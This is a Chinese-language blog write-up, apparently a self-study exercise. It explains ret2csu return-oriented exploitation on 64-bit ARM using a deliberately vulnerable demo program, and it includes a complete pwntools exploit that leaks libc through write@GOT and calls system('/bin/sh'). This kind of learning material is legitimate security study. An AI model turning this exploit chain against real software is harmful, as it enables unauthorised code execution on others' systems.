首页 > 其他分享 >ARM-ret2csu

ARM-ret2csu

时间:2022-11-10 20:47:02浏览次数:36  
标签:p64 ret2csu image arm lambda data ARM assets

很难为情的说一下emmm,,,今天因为要安装arm的交叉编译环境所以我含泪失去了亲爱的ubuntu20。承认是我操作笨拙导致我失去了自己最爱的虚拟机。(bgm响起,痛爱~

### demo源码

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void init(){
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
}

void vul(){
char buf[128];
read(0, buf, 512);
}

int main(int argc, char** argv){
init();
write(1, "Hello, World\n", 13);
vul();
}
```

分别用64位和32位arm来编译,首先对比一下arm下64位和32位下libc_csu_init函数的区别

64位:

![image](https://assets.b3logfile.com/siyuan/1637149294294/assets/image-20221107232927-3p3c8d5.png)​

32位:

![image](https://assets.b3logfile.com/siyuan/1637149294294/assets/image-20221107232906-ijls4cz.png)​

这样一对比会发现在arm框架下32位的程序也是不可以使用ret2csu的,那么专心研究64位下的利用

```c
我又看了mips框架下的对比,32位同样是不能够满足gadget条件
```

编译成酱紫

![image](https://assets.b3logfile.com/siyuan/1637149294294/assets/image-20221107233650-r8ph8h5.png)​

### 利用原理

ARM下的原理其实和x86下的相同,就是利用csu下的gadget进行间接传参,然后再调用目的函数造成任意函数调用。在x86_64的框架下,函数调用约定是从第一个到第六个参数,按顺序是在寄存器rdi、rsi、rdx,rcx,r8,r9,从第七个参数开始就从stack中按照先进后出的规律进行取参。在ARM框架下,函数调用约定传参,当参数少于4个参数的时候是通过寄存器r0-r3来传参,多于四个参数的时候就开始利用stack内传参。

由于arm的汇编对习惯x86汇编的人不太友好,所以我把他翻译成x86汇编来看

![image](https://assets.b3logfile.com/siyuan/1637149294294/assets/image-20221107235140-ykh1zh0.png)​

这里主要就是注意控制我们输入的内容与sp的关系。

需要动调看一下输入在栈内的位置

![image](https://assets.b3logfile.com/siyuan/1637149294294/assets/image-20221108114302-fsn54pj.png)​

看到我们可以控制的是从sp+0x10开始的地址,那这样的话就可以分析传参的关系来进行参数的摆布

学艺不精,在真正动调的时候才发现sp不一样

![image](https://assets.b3logfile.com/siyuan/1637149294294/assets/image-20221108114950-pdg3noi.png)​

那么就需要一直往下写覆盖到这里

这样的话payload就可以写出

```c
pl = b'a'*0x88 + p64(0x0400810) + p64(0x0040076C) + p64(0x100000000) + p64(0) + p64(0x04007F0) +p64(0)+ p64(1) + p64(elf.got['write']) + p64(1) + p64(elf.got['write']) + p64(0x8) + p64(0) +p64(0x0040076C)
```

并且成功leak了地址

![image](https://assets.b3logfile.com/siyuan/1637149294294/assets/image-20221108144312-f0j6ilq.png)​

那么就可以参考x86下的打法将system函数还有binsh写在bss端,然后利用payload模板进行利用

exp如下:

```c
from pwn import *

context.log_level='debug'
context.arch='aarch64'

s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

#p = process(["qemu-aarch64","-g", "1234","-L", "/usr/aarch64-linux-gnu/", "./csu_arm"])
p = process(["qemu-aarch64","-L", "/usr/aarch64-linux-gnu/", "./csu_arm"])
elf = ELF('./csu_arm')
libc = ELF('./libc-2.31.so')

pl = b'a'*0x88 + p64(0x0400810) + p64(0x0040076C) + p64(0x100000000) + p64(0) + p64(0x04007F0) +p64(0)+ p64(1) + p64(elf.got['write']) + p64(1) + p64(elf.got['write']) + p64(0x8) + p64(0) +p64(0x0040076C)
p.sendlineafter('Hello, World\n',pl)
write_addr = uu64(r(6))
leak('write_addr',write_addr)
libcbase = write_addr - libc.sym['write']
leak('libcbase',libcbase)
system = libcbase + libc.sym['system']
leak('system',system)

pl = b'a'*0x88 + p64(0x0400810) + p64(0x0040076C) + p64(0x100000000) + p64(0) + p64(0x04007F0) +p64(0)+ p64(1) + p64(elf.got['read']) + p64(0) + p64(0x0411140) + p64(0x20) + p64(0) +p64(0x0040076C)
#pause()
p.sendlineafter('Hello, World\n',pl)
p.sendline(p64(system)+b'/bin/sh\x00')
pl = b'a'*0x88 + p64(0x0400810) + p64(0x0040076C) + p64(0x100000000) + p64(0) + p64(0x04007F0) +p64(0)+ p64(1) + p64(0x0411140) + p64(0x0411148) + p64(0) + p64(0) + p64(0) +p64(0x0040076C)
p.sendlineafter('Hello, World\n',pl)

p.interactive()
```

![image](https://assets.b3logfile.com/siyuan/1637149294294/assets/image-20221108144624-kkzz3ze.png)​

奏效

x86和arm的区别就是传参的不同,此题目也巩固一下自己对arm汇编的理解。

标签:p64,ret2csu,image,arm,lambda,data,ARM,assets
From: https://www.cnblogs.com/bpcat/p/16878695.html

相关文章